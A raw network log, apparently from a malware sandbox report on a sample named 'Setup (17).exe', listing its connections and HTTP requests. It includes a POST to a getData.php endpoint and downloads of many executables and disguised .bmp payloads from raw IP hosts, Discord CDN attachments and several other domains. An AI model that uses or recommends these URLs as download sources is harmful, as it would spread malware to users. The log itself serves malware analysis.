                                                                                                                                                                                                                                          POST http://37.0.10.237/base/api/getData.php

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878303898211868722/E_PL_Client.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          42.1kB
                                                                                                                                                                                                                                          1.3MB
                                                                                                                                                                                                                                          903
                                                                                                                                                                                                                                          895

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878303898211868722/E_PL_Client.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 34.117.59.81:443
                                                                                                                                                                                                                                          https://ipinfo.io/widget
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          967 B
                                                                                                                                                                                                                                          6.6kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          10

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://ipinfo.io/widget

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          647 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          647 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 37.0.10.214:80
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file3.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          87.6kB
                                                                                                                                                                                                                                          2.7MB
                                                                                                                                                                                                                                          1849
                                                                                                                                                                                                                                          1839

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file5.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file6.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file7.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file8.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file4.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file6.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file8.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/PB14s.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 37.0.10.214:80
                                                                                                                                                                                                                                          http://37.0.10.214/WW/PB14s.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          114.2kB
                                                                                                                                                                                                                                          3.7MB
                                                                                                                                                                                                                                          2462
                                                                                                                                                                                                                                          2459

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file7.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://37.0.10.214/WW/file4.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file5.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/file1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://37.0.10.214/WW/PB14s.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 104.21.88.226:80
                                                                                                                                                                                                                                          http://i.spesgrt.com/lqosko/p18j/customer3.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          937 B
                                                                                                                                                                                                                                          6.0kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://i.spesgrt.com/lqosko/p18j/customer3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://i.spesgrt.com/lqosko/p18j/customer3.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          455 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          453 B
                                                                                                                                                                                                                                          568 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          453 B
                                                                                                                                                                                                                                          568 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          453 B
                                                                                                                                                                                                                                          568 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          462 B
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          453 B
                                                                                                                                                                                                                                          568 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          453 B
                                                                                                                                                                                                                                          568 B
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          407 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/870454586861846551/870548989903274054/jooyu.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          1.1kB
                                                                                                                                                                                                                                          4.6kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/870454586861846551/870548989903274054/jooyu.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          403
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          149.3kB
                                                                                                                                                                                                                                          4.8MB
                                                                                                                                                                                                                                          3234
                                                                                                                                                                                                                                          3214

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878524273927524433/app.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          414 B
                                                                                                                                                                                                                                          1.2kB
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          452 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          443 B
                                                                                                                                                                                                                                          523 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 52.219.64.68:80
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          417 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          404 B
                                                                                                                                                                                                                                          528 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 172.67.145.110:80
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          395 B
                                                                                                                                                                                                                                          523 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          5
                                                                                                                                                                                                                                        • 172.67.145.110:443
                                                                                                                                                                                                                                          https://a.goatagame.com/userf/2201/snakehi.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          4.5kB
                                                                                                                                                                                                                                          11
                                                                                                                                                                                                                                          9

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://a.goatagame.com/userf/2201/snakehi.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          302
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 111.90.156.58:80
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          124 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 95.181.172.98:80
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          489 B
                                                                                                                                                                                                                                          443 B
                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                          4

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          HEAD http://kaleidographic.com/pub1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 88.99.66.31:80
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 111.90.156.58:443
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          733 B
                                                                                                                                                                                                                                          5.9kB
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                          10
                                                                                                                                                                                                                                        • 88.99.66.31:443
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          581 B
                                                                                                                                                                                                                                          5.1kB
                                                                                                                                                                                                                                          9
                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          92 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                        • 162.159.135.233:80
                                                                                                                                                                                                                                          cdn.discordapp.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          190 B
                                                                                                                                                                                                                                          132 B
                                                                                                                                                                                                                                          4
                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          98.0kB
                                                                                                                                                                                                                                          3.1MB
                                                                                                                                                                                                                                          2116
                                                                                                                                                                                                                                          2102

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878288738072023080/falioca.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          105.0kB
                                                                                                                                                                                                                                          3.3MB
                                                                                                                                                                                                                                          2267
                                                                                                                                                                                                                                          2243

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878288738072023080/falioca.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          17.9kB
                                                                                                                                                                                                                                          544.2kB
                                                                                                                                                                                                                                          375
                                                                                                                                                                                                                                          371

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 95.181.172.98:80
                                                                                                                                                                                                                                          http://kaleidographic.com/pub1.exe
                                                                                                                                                                                                                                          http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          10.1kB
                                                                                                                                                                                                                                          289.5kB
                                                                                                                                                                                                                                          216
                                                                                                                                                                                                                                          215

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET http://kaleidographic.com/pub1.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          9.8kB
                                                                                                                                                                                                                                          282.3kB
                                                                                                                                                                                                                                          198
                                                                                                                                                                                                                                          196

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 52.219.64.68:443
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          tls
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          1.0kB
                                                                                                                                                                                                                                          4.2kB
                                                                                                                                                                                                                                          14
                                                                                                                                                                                                                                          13
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          11.7kB
                                                                                                                                                                                                                                          342.4kB
                                                                                                                                                                                                                                          240
                                                                                                                                                                                                                                          237

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873056123240972371/878524255539716106/help.bmp

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          11.8kB
                                                                                                                                                                                                                                          347.6kB
                                                                                                                                                                                                                                          242
                                                                                                                                                                                                                                          240

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe
                                                                                                                                                                                                                                          tls, http
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          68.0kB
                                                                                                                                                                                                                                          2.1MB
                                                                                                                                                                                                                                          1464
                                                                                                                                                                                                                                          1448

                                                                                                                                                                                                                                          HTTP Request

                                                                                                                                                                                                                                          GET https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe

                                                                                                                                                                                                                                          HTTP Response

                                                                                                                                                                                                                                          200
                                                                                                                                                                                                                                        • 162.159.135.233:443
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/878322236350668870/r.bmp
                                                                                                                                                                                                                                          tls, http
